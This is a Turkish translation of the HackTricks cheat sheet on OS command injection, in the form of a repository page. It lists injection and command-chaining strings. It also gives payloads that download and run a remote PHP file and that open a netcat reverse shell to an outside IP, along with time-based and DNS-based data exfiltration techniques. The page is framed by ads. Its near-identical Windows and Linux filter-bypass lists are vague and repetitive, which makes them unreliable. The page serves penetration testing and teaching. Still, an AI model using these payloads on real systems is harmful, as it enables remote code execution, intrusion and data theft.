hacktricks/pentesting-web/command-injection.md
2024-02-10 18:14:16 +00:00

12 KiB
Raw Blame History

Komut Enjeksiyonu

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Dünyanın en gelişmiş topluluk araçları tarafından desteklenen Trickest kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Komut Enjeksiyonu Nedir?

Komut enjeksiyonu, bir saldırganın bir uygulamanın barındırıldığı sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atılabilir. Bu komutların çalıştırılması genellikle saldırganın yetkisiz erişim veya kontrol elde etmesine olanak tanır ve uygulamanın ortamı ve alt sistem üzerinde kontrol sağlar.

Bağlam

Girdinizin nereye enjekte edildiğine bağlı olarak, komutlardan önce alıntılanan bağlamı sonlandırmak için (" veya ') kullanmanız gerekebilir.

Komut Enjeksiyonu/Çalıştırma

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Sınırlama Atlamaları

Eğer bir Linux makinesi içinde keyfi komutlar çalıştırmaya çalışıyorsanız, bu Atlamalar hakkında okumak isteyebilirsiniz:

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Örnekler

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametreler

İşte kod enjeksiyonu ve benzeri RCE zafiyetlerine karşı savunmasız olabilecek en üst 25 parametre (kaynak: link):

1. `$_GET`
2. `$_POST`
3. `$_REQUEST`
4. `$_COOKIE`
5. `$_FILES`
6. `$_SERVER`
7. `$_ENV`
8. `$_SESSION`
9. `$_GLOBALS`
10. `$_SERVER['HTTP_COOKIE']`
11. `$_SERVER['HTTP_USER_AGENT']`
12. `$_SERVER['HTTP_REFERER']`
13. `$_SERVER['HTTP_ACCEPT']`
14. `$_SERVER['HTTP_ACCEPT_LANGUAGE']`
15. `$_SERVER['HTTP_ACCEPT_ENCODING']`
16. `$_SERVER['HTTP_ACCEPT_CHARSET']`
17. `$_SERVER['HTTP_CONNECTION']`
18. `$_SERVER['HTTP_HOST']`
19. `$_SERVER['HTTP_X_FORWARDED_FOR']`
20. `$_SERVER['HTTP_X_FORWARDED_HOST']`
21. `$_SERVER['HTTP_X_FORWARDED_SERVER']`
22. `$_SERVER['HTTP_X_FORWARDED_PROTO']`
23. `$_SERVER['HTTP_X_REAL_IP']`
24. `$_SERVER['HTTP_X_REQUESTED_WITH']`
25. `$_SERVER['HTTP_ORIGIN']`
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Zaman tabanlı veri sızdırma

Veri çıkarma: karakter karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS tabanlı veri dışa aktarma

https://github.com/HoLyVieR/dnsbin adresinde bulunan araç temel alınarak dnsbin.zhack.ca üzerinde barındırılmaktadır.

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Windows için filtreleme atlatma yöntemleri:

  1. Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.

  2. Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.

  3. Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.

  4. Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.

  5. Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".bat" veya ".cmd" gibi uzantılar filtreleri atlamak için kullanılabilir.

  6. Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.

  7. Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.

  8. Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.

  9. Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "powershell" veya "cmd.exe" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.

  10. Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.

Linux

Linux için filtreleme atlatma yöntemleri:

  1. Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.

  2. Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.

  3. Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.

  4. Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.

  5. Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".sh" veya ".bash" gibi uzantılar filtreleri atlamak için kullanılabilir.

  6. Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.

  7. Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.

  8. Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.

  9. Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "bash" veya "sh" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.

  10. Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Brute-Force Tespit Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

Referanslar

AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}